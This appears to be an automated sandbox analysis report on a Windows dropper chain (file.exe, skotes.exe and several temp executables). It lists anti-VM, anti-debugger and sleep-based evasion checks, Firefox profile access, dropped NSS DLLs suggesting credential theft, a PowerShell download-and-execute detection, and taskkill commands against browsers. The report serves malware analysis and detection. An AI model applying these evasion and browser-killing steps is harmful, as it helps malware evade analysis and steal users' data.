Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: 649FBF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Special instruction interceptor: First address: 6534D22 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Memory allocated: 4D90000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Memory allocated: 4FD0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Memory allocated: 4D90000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04B80C38 rdtsc 0_2_04B80C38
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1070 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1084 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1057 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1120 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1265 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1162 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Dropped PE file which has not been started: C:\ProgramData\softokn3.dll Jump to dropped file
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe API coverage: 1.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140 Thread sleep count: 42 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4140 Thread sleep time: -84042s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432 Thread sleep count: 1070 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432 Thread sleep time: -2141070s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492 Thread sleep count: 281 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2492 Thread sleep time: -8430000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1928 Thread sleep count: 1084 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1928 Thread sleep time: -2169084s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2416 Thread sleep time: -360000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308 Thread sleep count: 1057 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5308 Thread sleep time: -2115057s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476 Thread sleep count: 1120 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4476 Thread sleep time: -2241120s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124 Thread sleep count: 1265 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124 Thread sleep time: -2531265s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124 Thread sleep count: 1162 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2124 Thread sleep time: -2325162s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 6508 Thread sleep time: -48024s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 3236 Thread sleep time: -44022s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 6904 Thread sleep time: -50025s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 5428 Thread sleep time: -34017s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe TID: 4124 Thread sleep time: -44022s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6308 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 3396 Thread sleep time: -38019s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6544 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 1848 Thread sleep time: -210000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 6280 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 1820 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe TID: 3748 Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 4080 Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe TID: 4080 Thread sleep time: -612000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe TID: 7444 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61E354D1 sqlite3_os_init,GetSystemInfo, 10_2_61E354D1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash14220\ Jump to behavior
Source: skotes.exe, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000001D.00000002.3018267844.0000000000500000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW5
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx
Source: firefox.exe, 0000001A.00000002.2899065018.000001F5CB78D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RA#
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: skotes.exe, 00000006.00000002.3025966445.0000000000B17000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3025966445.0000000000AD8000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E73000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2899065018.000001F5CB760000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 8c3bfc0f85.exe, 0000001D.00000002.3027850377.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001A.00000002.2901864507.000001F5D54A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2889319951.0000014CC8817000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001E.00000002.2892794104.0000014CC8C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll/B
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000E44000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWxj
Source: 8c3bfc0f85.exe, 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware1
Source: file.exe, 00000000.00000003.1714046270.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\ k
Source: firefox.exe, 00000021.00000002.2890447642.0000020776170000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll~
Source: file.exe, 00000000.00000002.1743565572.0000000000379000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1769334674.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000001.1722767543.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1772321827.0000000000209000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3020539701.0000000000500000.00000040.00000001.01000000.0000000B.sdmp, 8c3bfc0f85.exe, 0000001D.00000002.3018267844.0000000000500000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 00000021.00000002.2874205406.00000207758AA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW09
Source: firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll"
Source: firefox.exe, 0000001E.00000002.2892794104.0000014CC8C40000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000001E.00000002.2873263974.0000014CC82DA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp80
Source: chrome.exe, 00000020.00000002.2850425431.000001F5DFF48000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllxx
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04B80C38 rdtsc 0_2_04B80C38
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0004652B mov eax, dword ptr fs:[00000030h] 6_2_0004652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0004A302 mov eax, dword ptr fs:[00000030h] 6_2_0004A302
Enables debug privileges
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EAF900 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort, 10_2_61EAF900
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Code function: 10_2_61EAF8FC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort, 10_2_61EAF8FC
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 8c3bfc0f85.exe PID: 5852, type: MEMORYSTR
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe "C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe "C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe "C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe "C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe "C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
